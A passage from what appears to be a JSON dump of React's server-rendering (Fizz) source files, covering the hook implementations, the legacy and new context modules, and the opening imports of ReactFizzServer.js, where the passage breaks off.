thenableState = null;\n  return state;\n}\n\nexport function checkDidRenderIdHook(): boolean {\n  // This should be called immediately after every finishHooks call.\n  // Conceptually, it's part of the return value of finishHooks; it's only a\n  // separate function to avoid using an array tuple.\n  const didRenderIdHook = localIdCounter !== 0;\n  return didRenderIdHook;\n}\n\nexport function getActionStateCount(): number {\n  // This should be called immediately after every finishHooks call.\n  // Conceptually, it's part of the return value of finishHooks; it's only a\n  // separate function to avoid using an array tuple.\n  return actionStateCounter;\n}\nexport function getActionStateMatchingIndex(): number {\n  // This should be called immediately after every finishHooks call.\n  // Conceptually, it's part of the return value of finishHooks; it's only a\n  // separate function to avoid using an array tuple.\n  return actionStateMatchingIndex;\n}\n\n// Reset the internal hooks state if an error occurs while rendering a component\nexport function resetHooksState(): void {\n  if (__DEV__) {\n    isInHookUserCodeInDev = false;\n  }\n\n  currentlyRenderingComponent = null;\n  currentlyRenderingTask = null;\n  currentlyRenderingRequest = null;\n  currentlyRenderingKeyPath = null;\n  didScheduleRenderPhaseUpdate = false;\n  firstWorkInProgressHook = null;\n  numberOfReRenders = 0;\n  renderPhaseUpdates = null;\n  workInProgressHook = null;\n}\n\nfunction readContext<T>(context: ReactContext<T>): T {\n  if (__DEV__) {\n    if (isInHookUserCodeInDev) {\n      console.error(\n        'Context can only be read while React is rendering. ' +\n          'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n          'In function components, you can read it directly in the function body, but not ' +\n          'inside Hooks like useReducer() or useMemo().',\n      );\n    }\n  }\n  return readContextImpl(context);\n}\n\nfunction useContext<T>(context: ReactContext<T>): T {\n  if (__DEV__) {\n    currentHookNameInDev = 'useContext';\n  }\n  resolveCurrentlyRenderingComponent();\n  return readContextImpl(context);\n}\n\nfunction basicStateReducer<S>(state: S, action: BasicStateAction<S>): S {\n  // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types\n  return typeof action === 'function' ? action(state) : action;\n}\n\nexport function useState<S>(\n  initialState: (() => S) | S,\n): [S, Dispatch<BasicStateAction<S>>] {\n  if (__DEV__) {\n    currentHookNameInDev = 'useState';\n  }\n  return useReducer(\n    basicStateReducer,\n    // useReducer has a special case to support lazy useState initializers\n    (initialState: any),\n  );\n}\n\nexport function useReducer<S, I, A>(\n  reducer: (S, A) => S,\n  initialArg: I,\n  init?: I => S,\n): [S, Dispatch<A>] {\n  if (__DEV__) {\n    if (reducer !== basicStateReducer) {\n      currentHookNameInDev = 'useReducer';\n    }\n  }\n  currentlyRenderingComponent = resolveCurrentlyRenderingComponent();\n  workInProgressHook = createWorkInProgressHook();\n  if (isReRender) {\n    // This is a re-render. Apply the new render phase updates to the previous\n    // current hook.\n    const queue: UpdateQueue<A> = (workInProgressHook.queue: any);\n    const dispatch: Dispatch<A> = (queue.dispatch: any);\n    if (renderPhaseUpdates !== null) {\n      // Render phase updates are stored in a map of queue -> linked list\n      const firstRenderPhaseUpdate = renderPhaseUpdates.get(queue);\n      if (firstRenderPhaseUpdate !== undefined) {\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        renderPhaseUpdates.delete(queue);\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        let newState = workInProgressHook.memoizedState;\n        let update: Update<any> = firstRenderPhaseUpdate;\n        do {\n          // Process this render phase update. We don't have to check the\n          // priority because it will always be the same as the current\n          // render's.\n          const action = update.action;\n          if (__DEV__) {\n            isInHookUserCodeInDev = true;\n          }\n          newState = reducer(newState, action);\n          if (__DEV__) {\n            isInHookUserCodeInDev = false;\n          }\n          // $FlowFixMe[incompatible-type] we bail out when we get a null\n          update = update.next;\n        } while (update !== null);\n\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        workInProgressHook.memoizedState = newState;\n\n        return [newState, dispatch];\n      }\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    return [workInProgressHook.memoizedState, dispatch];\n  } else {\n    if (__DEV__) {\n      isInHookUserCodeInDev = true;\n    }\n    let initialState;\n    if (reducer === basicStateReducer) {\n      // Special case for `useState`.\n      initialState =\n        typeof initialArg === 'function'\n          ? ((initialArg: any): () => S)()\n          : ((initialArg: any): S);\n    } else {\n      initialState =\n        init !== undefined ? init(initialArg) : ((initialArg: any): S);\n    }\n    if (__DEV__) {\n      isInHookUserCodeInDev = false;\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    workInProgressHook.memoizedState = initialState;\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    const queue: UpdateQueue<A> = (workInProgressHook.queue = {\n      last: null,\n      dispatch: null,\n    });\n    const dispatch: Dispatch<A> = (queue.dispatch = (dispatchAction.bind(\n      null,\n      currentlyRenderingComponent,\n      queue,\n    ): any));\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    return [workInProgressHook.memoizedState, dispatch];\n  }\n}\n\nfunction useMemo<T>(nextCreate: () => T, deps: Array<mixed> | void | null): T {\n  currentlyRenderingComponent = resolveCurrentlyRenderingComponent();\n  workInProgressHook = createWorkInProgressHook();\n\n  const nextDeps = deps === undefined ? null : deps;\n\n  if (workInProgressHook !== null) {\n    const prevState = workInProgressHook.memoizedState;\n    if (prevState !== null) {\n      if (nextDeps !== null) {\n        const prevDeps = prevState[1];\n        if (areHookInputsEqual(nextDeps, prevDeps)) {\n          return prevState[0];\n        }\n      }\n    }\n  }\n\n  if (__DEV__) {\n    isInHookUserCodeInDev = true;\n  }\n  const nextValue = nextCreate();\n  if (__DEV__) {\n    isInHookUserCodeInDev = false;\n  }\n  // $FlowFixMe[incompatible-use] found when upgrading Flow\n  workInProgressHook.memoizedState = [nextValue, nextDeps];\n  return nextValue;\n}\n\nfunction useRef<T>(initialValue: T): {current: T} {\n  currentlyRenderingComponent = resolveCurrentlyRenderingComponent();\n  workInProgressHook = createWorkInProgressHook();\n  const previousRef = workInProgressHook.memoizedState;\n  if (previousRef === null) {\n    const ref = {current: initialValue};\n    if (__DEV__) {\n      Object.seal(ref);\n    }\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    workInProgressHook.memoizedState = ref;\n    return ref;\n  } else {\n    return previousRef;\n  }\n}\n\nfunction dispatchAction<A>(\n  componentIdentity: Object,\n  queue: UpdateQueue<A>,\n  action: A,\n): void {\n  if (numberOfReRenders >= RE_RENDER_LIMIT) {\n    throw new Error(\n      'Too many re-renders. React limits the number of renders to prevent ' +\n        'an infinite loop.',\n    );\n  }\n\n  if (componentIdentity === currentlyRenderingComponent) {\n    // This is a render phase update. Stash it in a lazily-created map of\n    // queue -> linked list of updates. After this render pass, we'll restart\n    // and apply the stashed updates on top of the work-in-progress hook.\n    didScheduleRenderPhaseUpdate = true;\n    const update: Update<A> = {\n      action,\n      next: null,\n    };\n    if (renderPhaseUpdates === null) {\n      renderPhaseUpdates = new Map();\n    }\n    const firstRenderPhaseUpdate = renderPhaseUpdates.get(queue);\n    if (firstRenderPhaseUpdate === undefined) {\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      renderPhaseUpdates.set(queue, update);\n    } else {\n      // Append the update to the end of the list.\n      let lastRenderPhaseUpdate = firstRenderPhaseUpdate;\n      while (lastRenderPhaseUpdate.next !== null) {\n        lastRenderPhaseUpdate = lastRenderPhaseUpdate.next;\n      }\n      lastRenderPhaseUpdate.next = update;\n    }\n  } else {\n    // This means an update has happened after the function component has\n    // returned. On the server this is a no-op. In React Fiber, the update\n    // would be scheduled for a future render.\n  }\n}\n\nexport function useCallback<T>(\n  callback: T,\n  deps: Array<mixed> | void | null,\n): T {\n  return useMemo(() => callback, deps);\n}\n\nfunction throwOnUseEffectEventCall() {\n  throw new Error(\n    \"A function wrapped in useEffectEvent can't be called during rendering.\",\n  );\n}\n\nexport function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n  callback: F,\n): F {\n  // $FlowIgnore[incompatible-return]\n  return throwOnUseEffectEventCall;\n}\n\nfunction useSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n): T {\n  if (getServerSnapshot === undefined) {\n    throw new Error(\n      'Missing getServerSnapshot, which is required for ' +\n        'server-rendered content. Will revert to client rendering.',\n    );\n  }\n  return getServerSnapshot();\n}\n\nfunction useDeferredValue<T>(value: T, initialValue?: T): T {\n  resolveCurrentlyRenderingComponent();\n  return initialValue !== undefined ? initialValue : value;\n}\n\nfunction unsupportedStartTransition() {\n  throw new Error('startTransition cannot be called during server rendering.');\n}\n\nfunction useTransition(): [\n  boolean,\n  (callback: () => void, options?: StartTransitionOptions) => void,\n] {\n  resolveCurrentlyRenderingComponent();\n  return [false, unsupportedStartTransition];\n}\n\nfunction useHostTransitionStatus(): TransitionStatus {\n  resolveCurrentlyRenderingComponent();\n  return NotPendingTransition;\n}\n\nfunction unsupportedSetOptimisticState() {\n  throw new Error('Cannot update optimistic state while rendering.');\n}\n\nfunction useOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  resolveCurrentlyRenderingComponent();\n  return [passthrough, unsupportedSetOptimisticState];\n}\n\nfunction createPostbackActionStateKey(\n  permalink: string | void,\n  componentKeyPath: KeyNode | null,\n  hookIndex: number,\n): string {\n  if (permalink !== undefined) {\n    // Don't bother to hash a permalink-based key since it's already short.\n    return 'p' + permalink;\n  } else {\n    // Append a node to the key path that represents the form state hook.\n    const keyPath: KeyNode = [componentKeyPath, null, hookIndex];\n    // Key paths are hashed to reduce the size. It does not need to be secure,\n    // and it's more important that it's fast than that it's completely\n    // collision-free.\n    const keyPathHash = createFastHash(JSON.stringify(keyPath));\n    return 'k' + keyPathHash;\n  }\n}\n\nfunction useActionState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  resolveCurrentlyRenderingComponent();\n\n  // Count the number of useActionState hooks per component. We also use this to\n  // track the position of this useActionState hook relative to the other ones in\n  // this component, so we can generate a unique key for each one.\n  const actionStateHookIndex = actionStateCounter++;\n  const request: Request = (currentlyRenderingRequest: any);\n\n  // $FlowIgnore[prop-missing]\n  const formAction = action.$$FORM_ACTION;\n  if (typeof formAction === 'function') {\n    // This is a server action. These have additional features to enable\n    // MPA-style form submissions with progressive enhancement.\n\n    // TODO: If the same permalink is passed to multiple useActionStates, and\n    // they all have the same action signature, Fizz will pass the postback\n    // state to all of them. We should probably only pass it to the first one,\n    // and/or warn.\n\n    // The key is lazily generated and deduped so the that the keypath doesn't\n    // get JSON.stringify-ed unnecessarily, and at most once.\n    let nextPostbackStateKey = null;\n\n    // Determine the current form state. If we received state during an MPA form\n    // submission, then we will reuse that, if the action identity matches.\n    // Otherwise, we'll use the initial state argument. We will emit a comment\n    // marker into the stream that indicates whether the state was reused.\n    let state = initialState;\n    const componentKeyPath = (currentlyRenderingKeyPath: any);\n    const postbackActionState = getFormState(request);\n    // $FlowIgnore[prop-missing]\n    const isSignatureEqual = action.$$IS_SIGNATURE_EQUAL;\n    if (\n      postbackActionState !== null &&\n      typeof isSignatureEqual === 'function'\n    ) {\n      const postbackKey = postbackActionState[1];\n      const postbackReferenceId = postbackActionState[2];\n      const postbackBoundArity = postbackActionState[3];\n      if (\n        isSignatureEqual.call(action, postbackReferenceId, postbackBoundArity)\n      ) {\n        nextPostbackStateKey = createPostbackActionStateKey(\n          permalink,\n          componentKeyPath,\n          actionStateHookIndex,\n        );\n        if (postbackKey === nextPostbackStateKey) {\n          // This was a match\n          actionStateMatchingIndex = actionStateHookIndex;\n          // Reuse the state that was submitted by the form.\n          state = postbackActionState[0];\n        }\n      }\n    }\n\n    // Bind the state to the first argument of the action.\n    const boundAction = action.bind(null, state);\n\n    // Wrap the action so the return value is void.\n    const dispatch = (payload: P): void => {\n      boundAction(payload);\n    };\n\n    // $FlowIgnore[prop-missing]\n    if (typeof boundAction.$$FORM_ACTION === 'function') {\n      // $FlowIgnore[prop-missing]\n      dispatch.$$FORM_ACTION = (prefix: string) => {\n        const metadata: ReactCustomFormAction =\n          boundAction.$$FORM_ACTION(prefix);\n\n        // Override the action URL\n        if (permalink !== undefined) {\n          if (__DEV__) {\n            checkAttributeStringCoercion(permalink, 'target');\n          }\n          permalink += '';\n          metadata.action = permalink;\n        }\n\n        const formData = metadata.data;\n        if (formData) {\n          if (nextPostbackStateKey === null) {\n            nextPostbackStateKey = createPostbackActionStateKey(\n              permalink,\n              componentKeyPath,\n              actionStateHookIndex,\n            );\n          }\n          formData.append('$ACTION_KEY', nextPostbackStateKey);\n        }\n        return metadata;\n      };\n    }\n\n    return [state, dispatch, false];\n  } else {\n    // This is not a server action, so the implementation is much simpler.\n\n    // Bind the state to the first argument of the action.\n    const boundAction = action.bind(null, initialState);\n    // Wrap the action so the return value is void.\n    const dispatch = (payload: P): void => {\n      boundAction(payload);\n    };\n    return [initialState, dispatch, false];\n  }\n}\n\nfunction useId(): string {\n  const task: Task = (currentlyRenderingTask: any);\n  const treeId = getTreeId(task.treeContext);\n\n  const resumableState = currentResumableState;\n  if (resumableState === null) {\n    throw new Error(\n      'Invalid hook call. Hooks can only be called inside of the body of a function component.',\n    );\n  }\n\n  const localId = localIdCounter++;\n  return makeId(resumableState, treeId, localId);\n}\n\nfunction use<T>(usable: Usable<T>): T {\n  if (usable !== null && typeof usable === 'object') {\n    // $FlowFixMe[method-unbinding]\n    if (typeof usable.then === 'function') {\n      // This is a thenable.\n      const thenable: Thenable<T> = (usable: any);\n      return unwrapThenable(thenable);\n    } else if (usable.$$typeof === REACT_CONTEXT_TYPE) {\n      const context: ReactContext<T> = (usable: any);\n      return readContext(context);\n    }\n  }\n\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  throw new Error('An unsupported type was passed to use(): ' + String(usable));\n}\n\nexport function unwrapThenable<T>(thenable: Thenable<T>): T {\n  const index = thenableIndexCounter;\n  thenableIndexCounter += 1;\n  if (thenableState === null) {\n    thenableState = createThenableState();\n  }\n  return trackUsedThenable(thenableState, thenable, index);\n}\n\nexport function readPreviousThenableFromState<T>(): T | void {\n  const index = thenableIndexCounter;\n  thenableIndexCounter += 1;\n  if (thenableState === null) {\n    return undefined;\n  }\n  return readPreviousThenable(thenableState, index);\n}\n\nfunction unsupportedRefresh() {\n  throw new Error('Cache cannot be refreshed during server rendering.');\n}\n\nfunction useCacheRefresh(): <T>(?() => T, ?T) => void {\n  return unsupportedRefresh;\n}\n\nfunction useMemoCache(size: number): Array<mixed> {\n  const data = new Array<any>(size);\n  for (let i = 0; i < size; i++) {\n    data[i] = REACT_MEMO_CACHE_SENTINEL;\n  }\n  return data;\n}\n\nfunction clientHookNotSupported() {\n  throw new Error(\n    'Cannot use state or effect Hooks in renderToHTML because ' +\n      'this component will never be hydrated.',\n  );\n}\n\nexport const HooksDispatcher: Dispatcher = supportsClientAPIs\n  ? {\n      readContext,\n      use,\n      useContext,\n      useMemo,\n      useReducer,\n      useRef,\n      useState,\n      useInsertionEffect: noop,\n      useLayoutEffect: noop,\n      useCallback,\n      // useImperativeHandle is not run in the server environment\n      useImperativeHandle: noop,\n      // Effects are not run in the server environment.\n      useEffect: noop,\n      // Debugging effect\n      useDebugValue: noop,\n      useDeferredValue,\n      useTransition,\n      useId,\n      // Subscriptions are not setup in a server environment.\n      useSyncExternalStore,\n      useOptimistic,\n      useActionState,\n      useFormState: useActionState,\n      useHostTransitionStatus,\n      useMemoCache,\n      useCacheRefresh,\n      useEffectEvent,\n    }\n  : {\n      readContext,\n      use,\n      useCallback,\n      useContext,\n      useEffect: clientHookNotSupported,\n      useImperativeHandle: clientHookNotSupported,\n      useInsertionEffect: clientHookNotSupported,\n      useLayoutEffect: clientHookNotSupported,\n      useMemo,\n      useReducer: clientHookNotSupported,\n      useRef: clientHookNotSupported,\n      useState: clientHookNotSupported,\n      useDebugValue: noop,\n      useDeferredValue: clientHookNotSupported,\n      useTransition: clientHookNotSupported,\n      useSyncExternalStore: clientHookNotSupported,\n      useId,\n      useHostTransitionStatus,\n      useFormState: useActionState,\n      useActionState,\n      useOptimistic,\n      useMemoCache,\n      useCacheRefresh,\n      useEffectEvent,\n    };\n\nexport let currentResumableState: null | ResumableState = (null: any);\nexport function setCurrentResumableState(\n  resumableState: null | ResumableState,\n): void {\n  currentResumableState = resumableState;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzLegacyContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {disableLegacyContext} from 'shared/ReactFeatureFlags';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\n\nlet warnedAboutMissingGetChildContext;\n\nif (__DEV__) {\n  warnedAboutMissingGetChildContext = ({}: {[string]: boolean});\n}\n\nexport const emptyContextObject: {} = {};\nif (__DEV__) {\n  Object.freeze(emptyContextObject);\n}\n\nexport function getMaskedContext(type: any, unmaskedContext: Object): Object {\n  if (disableLegacyContext) {\n    return emptyContextObject;\n  } else {\n    const contextTypes = type.contextTypes;\n    if (!contextTypes) {\n      return emptyContextObject;\n    }\n\n    const context: {[string]: $FlowFixMe} = {};\n    for (const key in contextTypes) {\n      context[key] = unmaskedContext[key];\n    }\n\n    return context;\n  }\n}\n\nexport function processChildContext(\n  instance: any,\n  type: any,\n  parentContext: Object,\n  childContextTypes: Object,\n): Object {\n  if (disableLegacyContext) {\n    return parentContext;\n  } else {\n    // TODO (bvaughn) Replace this behavior with an invariant() in the future.\n    // It has only been added in Fiber to match the (unintentional) behavior in Stack.\n    if (typeof instance.getChildContext !== 'function') {\n      if (__DEV__) {\n        const componentName = getComponentNameFromType(type) || 'Unknown';\n\n        if (!warnedAboutMissingGetChildContext[componentName]) {\n          warnedAboutMissingGetChildContext[componentName] = true;\n          console.error(\n            '%s.childContextTypes is specified but there is no getChildContext() method ' +\n              'on the instance. You can either define getChildContext() on %s or remove ' +\n              'childContextTypes from it.',\n            componentName,\n            componentName,\n          );\n        }\n      }\n      return parentContext;\n    }\n\n    const childContext = instance.getChildContext();\n    for (const contextKey in childContext) {\n      if (!(contextKey in childContextTypes)) {\n        throw new Error(\n          `${\n            getComponentNameFromType(type) || 'Unknown'\n          }.getChildContext(): key \"${contextKey}\" is not defined in childContextTypes.`,\n        );\n      }\n    }\n    return {...parentContext, ...childContext};\n  }\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzNewContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport {isPrimaryRenderer} from './ReactFizzConfig';\n\nlet rendererSigil;\nif (__DEV__) {\n  // Use this to detect multiple renderers using the same context\n  rendererSigil = {};\n}\n\n// Used to store the parent path of all context overrides in a shared linked list.\n// Forming a reverse tree.\ntype ContextNode<T> = {\n  parent: null | ContextNode<any>,\n  depth: number, // Short hand to compute the depth of the tree at this node.\n  context: ReactContext<T>,\n  parentValue: T,\n  value: T,\n};\n\n// The structure of a context snapshot is an implementation of this file.\n// Currently, it's implemented as tracking the current active node.\nexport opaque type ContextSnapshot = null | ContextNode<any>;\n\nexport const rootContextSnapshot: ContextSnapshot = null;\n\n// We assume that this runtime owns the \"current\" field on all ReactContext instances.\n// This global (actually thread local) state represents what state all those \"current\",\n// fields are currently in.\nlet currentActiveSnapshot: ContextSnapshot = null;\n\nfunction popNode(prev: ContextNode<any>): void {\n  if (isPrimaryRenderer) {\n    prev.context._currentValue = prev.parentValue;\n  } else {\n    prev.context._currentValue2 = prev.parentValue;\n  }\n}\n\nfunction pushNode(next: ContextNode<any>): void {\n  if (isPrimaryRenderer) {\n    next.context._currentValue = next.value;\n  } else {\n    next.context._currentValue2 = next.value;\n  }\n}\n\nfunction popToNearestCommonAncestor(\n  prev: ContextNode<any>,\n  next: ContextNode<any>,\n): void {\n  if (prev === next) {\n    // We've found a shared ancestor. We don't need to pop nor reapply this one or anything above.\n  } else {\n    popNode(prev);\n    const parentPrev = prev.parent;\n    const parentNext = next.parent;\n    if (parentPrev === null) {\n      if (parentNext !== null) {\n        throw new Error(\n          'The stacks must reach the root at the same time. This is a bug in React.',\n        );\n      }\n    } else {\n      if (parentNext === null) {\n        throw new Error(\n          'The stacks must reach the root at the same time. This is a bug in React.',\n        );\n      }\n\n      popToNearestCommonAncestor(parentPrev, parentNext);\n    }\n\n    // On the way back, we push the new ones that weren't common.\n    pushNode(next);\n  }\n}\n\nfunction popAllPrevious(prev: ContextNode<any>): void {\n  popNode(prev);\n  const parentPrev = prev.parent;\n  if (parentPrev !== null) {\n    popAllPrevious(parentPrev);\n  }\n}\n\nfunction pushAllNext(next: ContextNode<any>): void {\n  const parentNext = next.parent;\n  if (parentNext !== null) {\n    pushAllNext(parentNext);\n  }\n  pushNode(next);\n}\n\nfunction popPreviousToCommonLevel(\n  prev: ContextNode<any>,\n  next: ContextNode<any>,\n): void {\n  popNode(prev);\n  const parentPrev = prev.parent;\n\n  if (parentPrev === null) {\n    throw new Error(\n      'The depth must equal at least at zero before reaching the root. This is a bug in React.',\n    );\n  }\n\n  if (parentPrev.depth === next.depth) {\n    // We found the same level. Now we just need to find a shared ancestor.\n    popToNearestCommonAncestor(parentPrev, next);\n  } else {\n    // We must still be deeper.\n    popPreviousToCommonLevel(parentPrev, next);\n  }\n}\n\nfunction popNextToCommonLevel(\n  prev: ContextNode<any>,\n  next: ContextNode<any>,\n): void {\n  const parentNext = next.parent;\n\n  if (parentNext === null) {\n    throw new Error(\n      'The depth must equal at least at zero before reaching the root. This is a bug in React.',\n    );\n  }\n\n  if (prev.depth === parentNext.depth) {\n    // We found the same level. Now we just need to find a shared ancestor.\n    popToNearestCommonAncestor(prev, parentNext);\n  } else {\n    // We must still be deeper.\n    popNextToCommonLevel(prev, parentNext);\n  }\n  pushNode(next);\n}\n\n// Perform context switching to the new snapshot.\n// To make it cheap to read many contexts, while not suspending, we make the switch eagerly by\n// updating all the context's current values. That way reads, always just read the current value.\n// At the cost of updating contexts even if they're never read by this subtree.\nexport function switchContext(newSnapshot: ContextSnapshot): void {\n  // The basic algorithm we need to do is to pop back any contexts that are no longer on the stack.\n  // We also need to update any new contexts that are now on the stack with the deepest value.\n  // The easiest way to update new contexts is to just reapply them in reverse order from the\n  // perspective of the backpointers. To avoid allocating a lot when switching, we use the stack\n  // for that. Therefore this algorithm is recursive.\n  // 1) First we pop which ever snapshot tree was deepest. Popping old contexts as we go.\n  // 2) Then we find the nearest common ancestor from there. Popping old contexts as we go.\n  // 3) Then we reapply new contexts on the way back up the stack.\n  const prev = currentActiveSnapshot;\n  const next = newSnapshot;\n  if (prev !== next) {\n    if (prev === null) {\n      // $FlowFixMe[incompatible-call]: This has to be non-null since it's not equal to prev.\n      pushAllNext(next);\n    } else if (next === null) {\n      popAllPrevious(prev);\n    } else if (prev.depth === next.depth) {\n      popToNearestCommonAncestor(prev, next);\n    } else if (prev.depth > next.depth) {\n      popPreviousToCommonLevel(prev, next);\n    } else {\n      popNextToCommonLevel(prev, next);\n    }\n    currentActiveSnapshot = next;\n  }\n}\n\nexport function pushProvider<T>(\n  context: ReactContext<T>,\n  nextValue: T,\n): ContextSnapshot {\n  let prevValue;\n  if (isPrimaryRenderer) {\n    prevValue = context._currentValue;\n    context._currentValue = nextValue;\n    if (__DEV__) {\n      if (\n        context._currentRenderer !== undefined &&\n        context._currentRenderer !== null &&\n        context._currentRenderer !== rendererSigil\n      ) {\n        console.error(\n          'Detected multiple renderers concurrently rendering the ' +\n            'same context provider. This is currently unsupported.',\n        );\n      }\n      context._currentRenderer = rendererSigil;\n    }\n  } else {\n    prevValue = context._currentValue2;\n    context._currentValue2 = nextValue;\n    if (__DEV__) {\n      if (\n        context._currentRenderer2 !== undefined &&\n        context._currentRenderer2 !== null &&\n        context._currentRenderer2 !== rendererSigil\n      ) {\n        console.error(\n          'Detected multiple renderers concurrently rendering the ' +\n            'same context provider. This is currently unsupported.',\n        );\n      }\n      context._currentRenderer2 = rendererSigil;\n    }\n  }\n  const prevNode = currentActiveSnapshot;\n  const newNode: ContextNode<T> = {\n    parent: prevNode,\n    depth: prevNode === null ? 0 : prevNode.depth + 1,\n    context: context,\n    parentValue: prevValue,\n    value: nextValue,\n  };\n  currentActiveSnapshot = newNode;\n  return newNode;\n}\n\nexport function popProvider<T>(context: ReactContext<T>): ContextSnapshot {\n  const prevSnapshot = currentActiveSnapshot;\n\n  if (prevSnapshot === null) {\n    throw new Error(\n      'Tried to pop a Context at the root of the app. This is a bug in React.',\n    );\n  }\n\n  if (__DEV__) {\n    if (prevSnapshot.context !== context) {\n      console.error(\n        'The parent context is not the expected context. This is probably a bug in React.',\n      );\n    }\n  }\n  if (isPrimaryRenderer) {\n    const value = prevSnapshot.parentValue;\n    prevSnapshot.context._currentValue = value;\n    if (__DEV__) {\n      if (\n        context._currentRenderer !== undefined &&\n        context._currentRenderer !== null &&\n        context._currentRenderer !== rendererSigil\n      ) {\n        console.error(\n          'Detected multiple renderers concurrently rendering the ' +\n            'same context provider. This is currently unsupported.',\n        );\n      }\n      context._currentRenderer = rendererSigil;\n    }\n  } else {\n    const value = prevSnapshot.parentValue;\n    prevSnapshot.context._currentValue2 = value;\n    if (__DEV__) {\n      if (\n        context._currentRenderer2 !== undefined &&\n        context._currentRenderer2 !== null &&\n        context._currentRenderer2 !== rendererSigil\n      ) {\n        console.error(\n          'Detected multiple renderers concurrently rendering the ' +\n            'same context provider. This is currently unsupported.',\n        );\n      }\n      context._currentRenderer2 = rendererSigil;\n    }\n  }\n  return (currentActiveSnapshot = prevSnapshot.parent);\n}\n\nexport function getActiveContext(): ContextSnapshot {\n  return currentActiveSnapshot;\n}\n\nexport function readContext<T>(context: ReactContext<T>): T {\n  const value = isPrimaryRenderer\n    ? context._currentValue\n    : context._currentValue2;\n  return value;\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactFizzServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Destination,\n  Chunk,\n  PrecomputedChunk,\n} from './ReactServerStreamConfig';\nimport type {\n  ReactNodeList,\n  ReactContext,\n  ReactConsumerType,\n  Wakeable,\n  Thenable,\n  ReactFormState,\n  ReactComponentInfo,\n  ReactDebugInfo,\n  ReactAsyncInfo,\n  ViewTransitionProps,\n  ActivityProps,\n  SuspenseProps,\n  SuspenseListProps,\n  SuspenseListRevealOrder,\n  ReactKey,\n} from 'shared/ReactTypes';\nimport type {LazyComponent as LazyComponentType} from 'react/src/ReactLazy';\nimport type {\n  RenderState,\n  ResumableState,\n  PreambleState,\n  FormatContext,\n  HoistableState,\n} from './ReactFizzConfig';\nimport type {ContextSnapshot} from './ReactFizzNewContext';\nimport type {ComponentStackNode} from './ReactFizzComponentStack';\nimport type {TreeContext} from './ReactFizzTreeContext';\nimport type {ThenableState} from './ReactFizzThenable';\n\nimport {describeObjectForErrorMessage} from 'shared/ReactSerializationErrors';\n\nimport {\n  scheduleWork,\n  scheduleMicrotask,\n  beginWriting,\n  writeChunk,\n  writeChunkAndReturn,\n  completeWriting,\n  flushBuffered,\n  close,\n  closeWithError,\n  byteLengthOfChunk,\n} from './ReactServerStreamConfig';\nimport {\n  writeCompletedRoot,\n  writePlaceholder,\n  pushStartActivityBoundary,\n  pushEndActivityBoundary,\n  writeStartCompletedSuspenseBoundary,\n  writeStartPendingSuspenseBoundary,\n  writeStartClientRenderedSuspenseBoundary,\n  writeEndCompletedSuspenseBoundary,\n  writeEndPendingSuspenseBoundary,\n  writeEndClientRenderedSuspenseBoundary,\n  writeStartSegment,\n  writeEndSegment,\n  writeClientRenderBoundaryInstruction,\n  writeCompletedBoundaryInstruction,\n  writeCompletedSegmentInstruction,\n  writeHoistablesForBoundary,\n  pushTextInstance,\n  pushStartInstance,\n  pushEndInstance,\n  pushSegmentFinale,\n  getChildFormatContext,\n  getSuspenseFallbackFormatContext,\n  getSuspenseContentFormatContext,\n  getViewTransitionFormatContext,\n  writeHoistables,\n  writePreambleStart,\n  writePreambleEnd,\n  writePostamble,\n  hoistHoistables,\n  createHoistableState,\n  createPreambleState,\n  supportsRequestStorage,\n  requestStorage,\n  pushFormStateMarkerIsMatching,\n  pushFormStateMarkerIsNotMatching,\n  resetResumableState,\n  completeResumableState,\n  emitEarlyPreloads,\n  bindToConsole,\n  canHavePreamble,\n  hoistPreambleState,\n  isPreambleReady,\n  isPreambleContext,\n  hasSuspenseyContent,\n} from './ReactFizzConfig';\nimport {\n  constructClassInstance,\n  mountClassInstance,\n} from './ReactFizzClassComponent';\nimport {\n  getMaskedContext,\n  processChildContext,\n  emptyContextObject,\n} from './ReactFizzLegacyContext';\nimport {\n  readContext,\n  rootContextSnapshot,\n  switchContext,\n  getActiveContext,\n  pushProvider,\n  popProvider,\n} from './ReactFizzNewContext';\nimport {\n  prepareToUseHooks,\n  prepareToUseThenableState,\n  finishHooks,\n  checkDidRenderIdHook,\n  resetHooksState,\n  HooksDispatcher,\n  currentResumableState,\n  setCurrentResumableState,\n  getThenableStateAfterSuspending,\n  unwrapThenable,\n  readPreviousThenableFromState,\n  getActionStateCount,\n  getActionStateMatchingIndex,\n} from './ReactFizzHooks';\nimport {DefaultAsyncDispatcher} from './ReactFizzAsyncDispatcher';\nimport {\n  getStackByComponentStackNode,\n  getOwnerStackByComponentStackNodeInDev,\n} from './ReactFizzComponentStack';\nimport {emptyTreeContext, pushTreeContext} from './ReactFizzTreeContext';\nimport {currentTaskInDEV, 